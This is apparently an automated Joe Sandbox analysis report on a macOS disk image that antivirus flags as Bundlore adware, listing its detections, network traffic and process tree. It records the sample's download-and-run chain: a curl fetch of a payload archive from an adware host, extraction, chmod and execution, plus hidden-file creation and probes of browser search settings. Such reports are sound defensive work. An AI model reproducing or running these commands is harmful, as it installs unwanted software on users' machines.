Analysis Report

Overview

General Information

Joe Sandbox Version:	22.0.0
Analysis ID:	53411
Start time:	09:18:53
Joe Sandbox Product:	Cloud
Start date:	11.05.2018
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	kkoVCFZzgV (renamed file extension from none to dmg)
Cookbook file name:	defaultmacfilecookbook.jbs
Analysis system description:	Mac Mini, High Sierra 10.13.2 (MS Office 16.9, Java 1.8.0_25)
Detection:	MAL
Classification:	mal76.macDMG@0/23@4/0

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	76	0 - 100	Report FP / FN

Classification

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Show sources

Source: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos

Avira: Label: ADWARE/OSX.Bundlore.amdgw

Antivirus detection for submitted file

Show sources

Source: kkoVCFZzgV.dmg

Avira: Label: ADWARE/OSX.Bundlore.gixtg

Cryptography:

Executes the "openssl" command used for cryptographic operations

Show sources

Source: /bin/bash (PID: 821)	Openssl executable: /usr/bin/openssl -> openssl base64 -d -A	Jump to behavior
Source: /bin/bash (PID: 822)	Openssl executable: /usr/bin/openssl -> openssl base64 -d -A	Jump to behavior
Source: /bin/bash (PID: 826)	Openssl executable: /usr/bin/openssl -> openssl base64 -d -A	Jump to behavior
Source: /bin/bash (PID: 827)	Openssl executable: /usr/bin/openssl -> openssl base64 -d -A	Jump to behavior

Networking:

Downloads compressed data via HTTP

Show sources

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.6.3Content-Type: application/octet-streamContent-Length: 283326Last-Modified: Wed, 04 Apr 2018 15:30:28 GMTETag: "5ac4ef94-452be"Accept-Ranges: bytesDate: Fri, 11 May 2018 07:20:04 GMTConnection: keep-aliveX-N: SData Raw: 1f 8b 08 00 65 ef c4 5a 00 03 ec 7d 09 7c 13 45 fb f0 ce ec 91 a4 d9 2d db 72 9f 4d af f4 6e d3 f4 3e 38 4a cb 51 8e d2 93 1b 4a da a6 6d 68 9b 94 24 e5 46 76 40 41 05 91 5b 0e 95 5b 4e 41 41 10 e4 10 11 05 11 91 1b 44 40 50 11 50 44 14 14 05 94 6f 66 93 a6 07 a5 fa fe df ff ef fd 7e df ef 7b b3 a4 99 dd 99 79 9e 67 e6 b9 9f dd 84 f0 88 8a 8a 30 93 d9 66 37 94 97 87 55 18 0a 2d b6 70 43 65 65 04 f5 bf f9 d2 e9 74 71 31 31 1a f9 33 d6 f1 a9 d3 47 3b 3e 9d 2f 4d 64 94 3e 36 32 32 36 2e 46 17 a9 d1 45 c6 c4 c5 c4 52 9a 98 ff 55 2a 9e f2 aa c2 4b b7 62 52 0c a3 4d a3 0d 26 db 53 c7 e1 61 c5 c5 8d c0 71 ae c3 f5 f9 ff c8 2b bc 61 fe a7 5a cc 76 a3 d9 6e fb 5f 11 84 7f c6 ff c8 e8 38 7d 74 5c 9c 3e 0a f3 1f b3 3f ea bf fc ff 4f bc fe 8e ff f9 a9 96

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET /sdl/mmStub.tar.gz?ts=1526030402 HTTP/1.1Host: qylhi.comedyohio.winUser-Agent: curl/7.54.0Accept: /
Source: global traffic	HTTP traffic detected: GET /Mac/getInstallerSpecs/?&channel=b4500&info=&newInstallerVM=true&vm= HTTP/1.1Host: service.macinstallerinfo.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /download/Mac/InstallerResources/eula_mymediadownloader.txt HTTP/1.1Host: cdn.macresourcescdn.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /download/Mac/InstallerResources/header01.jpg HTTP/1.1Host: cdn.macresourcescdn.comAccept: /Cookie: __cfduid=d5e13ab547ef9c0adb671d1395c24fded1526023211User-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /download/Mac/InstallerResources/MediaDownloader-Logo.png HTTP/1.1Host: cdn.macresourcescdn.comAccept: /Cookie: __cfduid=d5e13ab547ef9c0adb671d1395c24fded1526023211User-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /tracking/cm_mac.php?clickid=0&funnel=generateScreen-0 HTTP/1.1Host: service.macinstallerinfo.comAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Source: global traffic	HTTP traffic detected: GET /?click_id=0&event=generateScreen-0 HTTP/1.1Host: events.ponystudent.winAccept: /Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: mm-install-macos/4500 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: qylhi.comedyohio.win

Urls found in memory or binary data

Show sources

Source: kkoVCFZzgV.dmg

String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd

Persistence and Installation Behavior:

Executes the "rm" command used to delete files or directories

Show sources

Source: /bin/bash (PID: 828)

Rm executable: /bin/rm -> rm -rf /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp

Jump to behavior

Many shell processes execute programs via execve syscall (may be indicative for malicious behavior)

Show sources

Source: /bin/sh (PID: 835)	Shell process: ps -wwo args 818	Jump to behavior
Source: /bin/sh (PID: 836)	Shell process: tail -1	Jump to behavior
Source: /bin/sh (PID: 837)	Shell process: sed -nE s/(\/bin\/bash[ ]?)([^ ]+).*/\2/p	Jump to behavior
Source: /bin/sh (PID: 839)	Shell process: defaults find hspart=iry	Jump to behavior
Source: /bin/sh (PID: 840)	Shell process: defaults find v=insMac	Jump to behavior
Source: /bin/sh (PID: 841)	Shell process: defaults find bndl	Jump to behavior
Source: /bin/sh (PID: 842)	Shell process: defaults find chumsearch	Jump to behavior
Source: /bin/sh (PID: 843)	Shell process: defaults find SearchQuick	Jump to behavior
Source: /bin/sh (PID: 845)	Shell process: ls /Users/henry/Library/Application Support/Firefox/Profiles/	Jump to behavior
Source: /bin/sh (PID: 846)	Shell process: sort -n	Jump to behavior
Source: /bin/sh (PID: 847)	Shell process: head -n 1	Jump to behavior
Source: /bin/sh (PID: 848)	Shell process: defaults find search-quick	Jump to behavior
Source: /bin/sh (PID: 850)	Shell process: ls /Users/henry/Library/Application Support/Firefox/Profiles/	Jump to behavior
Source: /bin/sh (PID: 851)	Shell process: sort -n	Jump to behavior
Source: /bin/sh (PID: 852)	Shell process: head -n 1	Jump to behavior
Source: /bin/sh (PID: 853)	Shell process: defaults find racksearch	Jump to behavior
Source: /bin/sh (PID: 854)	Shell process: defaults find linkeysearch	Jump to behavior

Queries for attached disk images with shell command 'hdiutil'

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

Hdiutil command executed: /usr/bin/hdiutil info -plist

Jump to behavior

Creates application bundles

Show sources

Source: /usr/bin/tar (PID: 831)

Bundle Info.plist file created: mm-install-macos.app/Contents/Info.plist

Jump to behavior

Creates code signed application bundles

Show sources

Source: /usr/bin/tar (PID: 831)

Bundle code signature resource file created: mm-install-macos.app/Contents/_CodeSignature/CodeResources

Jump to behavior

Creates hidden files, links and/or directories

Show sources

Source: /usr/bin/tar (PID: 831)

Hidden file created: mm-install-macos.app/Contents/._Info.plist.388mtA

Jump to behavior

Executes commands using a shell command-line interpreter

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: /bin/sh -c ps -wwo args 818 \| tail -1 \| sed -nE 's/(\/bin\/bash[ ]?)([^ ]+).*/\2/p'	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find hspart=iry	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find v=insMac	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find bndl	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find chumsearch	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find SearchQuick	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c ls '/Users/henry/Library/Application Support/Firefox/Profiles/' \| sort -n \| head -n 1	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find search-quick	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find racksearch	Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Shell command executed: sh -c defaults find linkeysearch	Jump to behavior

Executes the "chmod" command used to modify permissions

Show sources

Source: /bin/bash (PID: 832)

Chmod executable: /bin/chmod -> chmod +x /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos

Jump to behavior

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Show sources

Source: /bin/bash (PID: 830)

Curl executable: /usr/bin/curl -> curl -s -L -o /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/stmp.tar.gz http://qylhi.comedyohio.win/sdl/mmStub.tar.gz?ts=1526030402

Jump to behavior

Executes the "mkdir" command used to create folders

Show sources

Source: /bin/bash (PID: 829)

Mkdir executable: /bin/mkdir -> mkdir -p /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp

Jump to behavior

Executes the "ps" command used to list the status of processes

Show sources

Source: /bin/sh (PID: 835)

Ps executable: /bin/ps -> ps -wwo args 818

Jump to behavior

Reads launchservices plist files

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist			Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Launchservices plist file read: /System/Library/Preferences/Logging/Subsystems/com.apple.launchservices.plist			Jump to behavior

Reads user launchservices plist file containing default apps for corresponding file types

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

Preferences launchservices plist file read: /Users/henry/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist

Jump to behavior

Uses CFNetwork bundle containing interfaces for network communication (HTTP, sockets, and Bonjour)

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

CFNetwork info plist opened: /System/Library/Frameworks/CFNetwork.framework/Resources/Info.plist

Jump to behavior

Writes 64-bit Mach-O files to disk

Show sources

Source: /usr/bin/tar (PID: 831)

File written: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos

Jump to dropped file

Writes icon files to disk

Show sources

Source: /usr/bin/tar (PID: 831)	File written: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/locked.icns			Jump to dropped file
Source: /usr/bin/tar (PID: 831)	File written: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/mm-install-macos.icns			Jump to dropped file

Creates application bundles containing icon files

Show sources

Source: /usr/bin/tar (PID: 831)	Icon file created: mm-install-macos.app/Contents/Resources/locked.icns			Jump to behavior
Source: /usr/bin/tar (PID: 831)	Icon file created: mm-install-macos.app/Contents/Resources/mm-install-macos.icns			Jump to behavior

Executes the "sed" command used to modify input streams (typically from files or pipes)

Show sources

Source: /bin/sh (PID: 837)

Sed executable: /usr/bin/sed -> sed -nE s/(\/bin\/bash[ ]?)([^ ]+).*/\2/p

Jump to behavior

Uses AppleKeyboardLayouts bundle containing keyboard layouts

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist

Jump to behavior

Writes property list (.plist) files to disk

Show sources

Source: /usr/bin/tar (PID: 831)	XML plist file created: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Info.plist	Jump to dropped file
Source: /usr/bin/tar (PID: 831)	Binary plist file created: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/MainWindow.nib	Jump to dropped file
Source: /usr/bin/tar (PID: 831)	Binary plist file created: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/__TBT_Template_Base.nib	Jump to dropped file
Source: /usr/bin/tar (PID: 831)	Binary plist file created: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Resources/__TBT_RequestForm.nib	Jump to dropped file
Source: /usr/bin/tar (PID: 831)	XML plist file created: /private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/_CodeSignature/CodeResources	Jump to dropped file

System Summary:

Classification label

Show sources

Source: classification engine

Classification label: mal76.macDMG@0/23@4/0

HIPS / PFW / Operating System Protection Evasion:

Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

Sysctl read request: kern.safeboot (1.66)

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Executes the "defaults" command used to read or modify user specific settings

Show sources

Source: /bin/sh (PID: 839)	Defaults executable: /usr/bin/defaults -> defaults find hspart=iry	Jump to behavior
Source: /bin/sh (PID: 840)	Defaults executable: /usr/bin/defaults -> defaults find v=insMac	Jump to behavior
Source: /bin/sh (PID: 841)	Defaults executable: /usr/bin/defaults -> defaults find bndl	Jump to behavior
Source: /bin/sh (PID: 842)	Defaults executable: /usr/bin/defaults -> defaults find chumsearch	Jump to behavior
Source: /bin/sh (PID: 843)	Defaults executable: /usr/bin/defaults -> defaults find SearchQuick	Jump to behavior
Source: /bin/sh (PID: 848)	Defaults executable: /usr/bin/defaults -> defaults find search-quick	Jump to behavior
Source: /bin/sh (PID: 853)	Defaults executable: /usr/bin/defaults -> defaults find racksearch	Jump to behavior
Source: /bin/sh (PID: 854)	Defaults executable: /usr/bin/defaults -> defaults find linkeysearch	Jump to behavior

Language, Device and Operating System Detection:

Reads process information of other processes

Show sources

Source: /bin/ps (PID: 835)	Sysctl requested: kern.proc.pid (1.14.1) only found for 1.14.1.818 -> queries PID 818			Jump to behavior
Source: /bin/ps (PID: 835)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.818 -> queries PID 818			Jump to behavior

Reads hardware related sysctl values

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

Sysctl read request: hw.availcpu (6.25)

Jump to behavior

Reads the systems OS release and/or type

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Sysctl requested: kern.ostype (1.1)			Jump to behavior
Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)	Sysctl requested: kern.osrelease (1.2)			Jump to behavior

Reads the systems hostname

Show sources

Source: /Users/henry/Desktop/unpack/Install/Install.app/Contents/MacOS/Install (PID: 818)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 834)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 839)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 840)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 841)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 842)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 843)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 844)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 848)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 849)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 853)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 854)	Sysctl requested: kern.hostname (1.10)	Jump to behavior

Reads the system or server version plist file

Show sources

Source: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T//mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos (PID: 833)

System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist

Jump to behavior

Runtime Messages

Command:	open "/Users/henry/Desktop/unpack/Install/Install.app"
Exitcode:	0
Killed:	False
Standard Output:
Standard Error:

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
kkoVCFZzgV.dmg	100%	Avira	ADWARE/OSX.Bundlore.gixtg

Dropped Files

Source	Detection	Scanner	Label	Link
/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos	100%	Avira	ADWARE/OSX.Bundlore.amdgw

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

Screenshots

Startup

system is mac1

xpcproxy (PID: 818 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

Install (PID: 818 PPID: 1 Overlayed Process Image: xpcproxy MD5: 111571246330ba230d542abafe35344d)

bash (PID: 819 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

bash (PID: 820 PPID: 819 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

bash (PID: 821 PPID: 819 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

openssl (PID: 821 PPID: 819 Overlayed Process Image: bash MD5: 701bcd74cc70ef798fe42ec4e002dac6)

bash (PID: 822 PPID: 819 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

openssl (PID: 822 PPID: 819 Overlayed Process Image: bash MD5: 701bcd74cc70ef798fe42ec4e002dac6)

bash (PID: 823 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

date (PID: 823 PPID: 818 Overlayed Process Image: bash MD5: e1d20c480fcdc1ac4646170b1d9ca7c7)

bash (PID: 824 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

bash (PID: 825 PPID: 824 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

bash (PID: 826 PPID: 824 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

openssl (PID: 826 PPID: 824 Overlayed Process Image: bash MD5: 701bcd74cc70ef798fe42ec4e002dac6)

bash (PID: 827 PPID: 824 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

openssl (PID: 827 PPID: 824 Overlayed Process Image: bash MD5: 701bcd74cc70ef798fe42ec4e002dac6)

bash (PID: 828 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

rm (PID: 828 PPID: 818 Overlayed Process Image: bash MD5: 11b6a6a1a3102d67ef723cadda365da7)

bash (PID: 829 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

mkdir (PID: 829 PPID: 818 Overlayed Process Image: bash MD5: 135a3b94b3d9efccb4c8cd23ac404571)

bash (PID: 830 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

curl (PID: 830 PPID: 818 Overlayed Process Image: bash MD5: 078cd73f58d3d8f875eed22522ff73f7)

bash (PID: 831 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

tar (PID: 831 PPID: 818 Overlayed Process Image: bash MD5: 11ec992d29c3da7179246efbc828e592)

bash (PID: 832 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

chmod (PID: 832 PPID: 818 Overlayed Process Image: bash MD5: 30e3e10a3e7ad9adfd37662b2e9b4f8a)

bash (PID: 833 PPID: 818 MD5: a17c5d0e7f7f4f69c6218066c2a3e1b6)

mm-install-macos (PID: 833 PPID: 818 Overlayed Process Image: bash MD5: 82ee6cf1c400c8bc3687cb55ba3923f9)

sh (PID: 834 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

sh (PID: 835 PPID: 834 MD5: 8aa60b22a5d30418a002b340989384dc)

ps (PID: 835 PPID: 834 Overlayed Process Image: sh MD5: 792e18b1417ac1f184680d2423206e4f)

sh (PID: 836 PPID: 834 MD5: 8aa60b22a5d30418a002b340989384dc)

tail (PID: 836 PPID: 834 Overlayed Process Image: sh MD5: 4f763e9d4a6b9f0ea936a13eb1c802ae)

sh (PID: 837 PPID: 834 MD5: 8aa60b22a5d30418a002b340989384dc)

sed (PID: 837 PPID: 834 Overlayed Process Image: sh MD5: 3ce65a2b18129c9ddc6f15204c329603)

hdiutil (PID: 838 PPID: 833 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

sh (PID: 839 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 839 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 840 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 840 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 841 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 841 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 842 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 842 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 843 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 843 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 844 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

sh (PID: 845 PPID: 844 MD5: 8aa60b22a5d30418a002b340989384dc)

ls (PID: 845 PPID: 844 Overlayed Process Image: sh MD5: d77c1dd5bb8e39c2dd27c96c3fd2263e)

sh (PID: 846 PPID: 844 MD5: 8aa60b22a5d30418a002b340989384dc)

sort (PID: 846 PPID: 844 Overlayed Process Image: sh MD5: 500c6c1c6da73b4d1fb72c9f664c6ea8)

sh (PID: 847 PPID: 844 MD5: 8aa60b22a5d30418a002b340989384dc)

head (PID: 847 PPID: 844 Overlayed Process Image: sh MD5: bb2984cc21ccc7343bed41f2b577c011)

sh (PID: 848 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 848 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 849 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

sh (PID: 850 PPID: 849 MD5: 8aa60b22a5d30418a002b340989384dc)

ls (PID: 850 PPID: 849 Overlayed Process Image: sh MD5: d77c1dd5bb8e39c2dd27c96c3fd2263e)

sh (PID: 851 PPID: 849 MD5: 8aa60b22a5d30418a002b340989384dc)

sort (PID: 851 PPID: 849 Overlayed Process Image: sh MD5: 500c6c1c6da73b4d1fb72c9f664c6ea8)

sh (PID: 852 PPID: 849 MD5: 8aa60b22a5d30418a002b340989384dc)

head (PID: 852 PPID: 849 Overlayed Process Image: sh MD5: bb2984cc21ccc7343bed41f2b577c011)

sh (PID: 853 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 853 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

sh (PID: 854 PPID: 833 MD5: 8aa60b22a5d30418a002b340989384dc)

defaults (PID: 854 PPID: 833 Overlayed Process Image: sh MD5: 831678c94c2d9c647bf3d283b1861bda)

cleanup

Created / dropped Files

/dev/null
Process:	/usr/bin/defaults
File Type:	ASCII text
Size (bytes):	96
Entropy (8bit):	4.940300298124574
Encrypted:	false
MD5:	87C11ED615E90AD9492089226386C31B
SHA1:	9D54C2FC75EC34513A9A4DE29B6D380B35098881
SHA-256:	0DB8360257B5CF50944943DC3366CE7D15C1DBD7EB684E98FAAC51B3AD017545
SHA-512:	822685AB38A9C0AA2770A8599B241746D08DD640B76E63E39D2E3400544A45E55EC2CD9E3D6AC930615BD68E953B646B72DAE031C06029D6ECB8A6ECF045B9C6
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/._Info.plist.388mtA
Process:	/usr/bin/tar
File Type:	AppleDouble encoded Macintosh file
Size (bytes):	176
Entropy (8bit):	2.9827917087685485
Encrypted:	false
MD5:	F539F6A80D394F66F8CB29CD9D8B83F4
SHA1:	8855D40938CD89762532A066EC7107F5EB2B05B8
SHA-256:	AAB47A704FCE09AAEC4605AB0F189757674FC052D131CAA554D293F2FDA7D772
SHA-512:	AF33EA965594762422C948B642F473C4D108D2463DD7B6996ED895456A979EB3E6AC1C495391F4B9CA84D553F31BA307B091E03D2F55518A354AF9220229F4A1
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/Info.plist
Process:	/usr/bin/tar
File Type:	XML document text
Size (bytes):	1625
Entropy (8bit):	5.148105192765908
Encrypted:	false
MD5:	85BA2908884384D1FB7B25632B344082
SHA1:	FAB54E07E3D62988913DAA831677934000F0DEF8
SHA-256:	09D28408F997AB80FCFA259422E1AE86DFE3819AC54F9A3FA927C447C0B311A4
SHA-512:	39CEFFCAFFD7CE43E9C56A2EAB94A2C83D336F24A377DFDC4A9B63B5CC59AC11DADAF2C50BD42FB28301CF6C91E9D4F848BB4463A36CA8FF2D875C1D74D58021
Malicious:	false
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/MacOS/mm-install-macos
Process:	/usr/bin/tar
File Type:	Mach-O 64-bit x86_64 executable
Size (bytes):	339664
Entropy (8bit):	5.637747485714837
Encrypted:	false
MD5:	82EE6CF1C400C8BC3687CB55BA3923F9
SHA1:	0AF74EB7C02F118F51A34DA2980B81F550437BB1
SHA-256:	D18714C999425FB7F47AA0AA4297DDF0CF8B05D5FF882D2816395752B93E12F5
SHA-512:	4E7C98C199304A31C4B3C10CFC34DA175A7C6FEC3253236AA547B9C51FCAD3859B04FAB019CDC1743856D13CDD39A4A92EFC5B45B29145D8ADAA191D6C64AC68
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%, Browse
Reputation:	low

/private/var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/mmstmp/mm-install-macos.app/Contents/PkgInfo
Process:	/usr/bin/tar
File Type:	ASCII text, with no line terminators
Size (bytes):	8
Entropy (8bit):	1.75
